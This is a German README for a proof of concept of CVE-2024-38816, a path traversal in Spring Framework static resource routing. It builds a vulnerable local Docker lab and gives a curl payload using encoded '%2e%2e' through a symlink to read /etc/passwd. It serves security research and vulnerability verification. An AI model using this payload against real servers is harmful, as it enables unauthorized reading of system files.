
CVE-2024-38816 Proof of Concept
Dies ist ein Proof of Concept für die Schwachstelle CVE-2024-38816, der einen Path-Traversal-Exploit demonstriert.
Baue das Docker-Image: (Spring Boot 3.0.13, basierend auf Spring Framework 6.0.3)
docker build -t cve-2024-38816-poc .
Führe den Container aus und gib Port 8080 auf dem Host-Rechner frei:
docker run -d -p 8080:8080 --name cve-2024-38816-poc cve-2024-38816-poc
Führe den folgenden Befehl aus, um den PoC auszuführen und die Schwachstelle zu bestätigen:
curl http://localhost:8080/static/link/%2e%2e/etc/passwd
Wenn der Inhalt der Datei /etc/passwd angezeigt wird, ist die Schwachstelle bestätigt.
Dieser PoC wurde auf Grundlage einer Analyse der Release Notes und Commit-Logs erstellt. Das Verhalten der tatsächlichen Schwachstelle kann abweichen, daher wird keine Genauigkeit garantiert. Verwendung auf eigene Gefahr.
Die Schwachstelle wurde in Spring Framework 6.1.13 behoben, wie in den Release Notes bestätigt wird.
Nach Durchsicht der Release Notes und der zugehörigen Commit-Logs habe ich die folgenden beiden Issues als möglicherweise mit dieser Schwachstelle verbunden identifiziert:
Laut dem Security Advisory müssen für einen erfolgreichen Angriff wahrscheinlich die folgenden Bedingungen erfüllt sein:
RouterFunctions wird verwendetFileSystemResource wird verwendetZur Reproduktion der Schwachstelle wird eine Docker-Umgebung verwendet.
Erstelle PathTraversalDemoApplication.java mit dem folgenden Code, um das statische Datei-Routing mithilfe von RouterFunction und FileSystemResource einzurichten:
public RouterFunction<ServerResponse> staticResourceRouter() {
return RouterFunctions.resources("/static/**", new FileSystemResource("/app/static/"));
}
Füge dem Dockerfile den folgenden Befehl hinzu, um einen symbolischen Link zu erstellen:
RUN ln -s /static /app/static/link
Erstelle ein Payload, das die %-Kodierung ausnutzt, um über den symbolischen Link Verzeichnisse zu traversieren.
/static/link/%2e%2e/etc/passwdVerwende den folgenden curl-Befehl, um den PoC auszuführen und zu überprüfen, ob der Angriff erfolgreich ist:
curl http://localhost:8080/static/link/%2e%2e/etc/passwd
Wenn der Angriff erfolgreich ist, wird der Inhalt der Datei /etc/passwd angezeigt.
Dieser PoC dient Bildungs- und Sicherheitsforschungszwecken. Bevor du ihn in einem echten System einsetzt, stelle sicher, dass die Schwachstelle behoben wurde und du über die entsprechende Autorisierung verfügst. Der Autor übernimmt keine Verantwortung für eine missbräuchliche Verwendung dieses Codes.